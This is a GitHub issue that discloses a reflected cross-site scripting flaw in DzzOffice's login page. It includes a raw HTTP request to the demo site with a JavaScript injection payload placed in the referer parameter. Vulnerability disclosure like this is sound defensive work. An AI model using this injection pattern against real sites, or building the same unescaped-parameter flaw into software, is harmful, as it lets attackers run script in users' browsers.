Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cross-site scripting vulnerability exists in Dzzoffice #107

Open
zKai1127 opened this issue Jul 4, 2019 · 0 comments
Open

Cross-site scripting vulnerability exists in Dzzoffice #107

zKai1127 opened this issue Jul 4, 2019 · 0 comments

Comments

@zKai1127
Copy link

zKai1127 commented Jul 4, 2019

Cross-site scripting vulnerability exists in Dzzoffice

POST /login.php HTTP/1.1
Host: demo.dzz.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://demo.dzz.cc/user.php?mod=login
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Connection: close
Cookie: pWKa_2132_saltkey=uX2jVs7x; pWKa_2132_lastvisit=1557731903; pWKa_2132_sid=ZRzbaI; pWKa_2132_lastact=1557735508%09misc.php%09sendwx; pWKa_2132_sendmail=1
Upgrade-Insecure-Requests: 1

formhash=09ed92d8&referer=http%3a%2f%2fdemo.dzz.cc%2f.%2f88937'%3balert(1)%2f%2f667&uid=2&loginsubmit=true

There is a cross-site scripting attack on the referer parameter

Insert payload :88937'%3balert(1)%2f%2f667 in the parameter,As shown below:
q

Can be successfully executed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant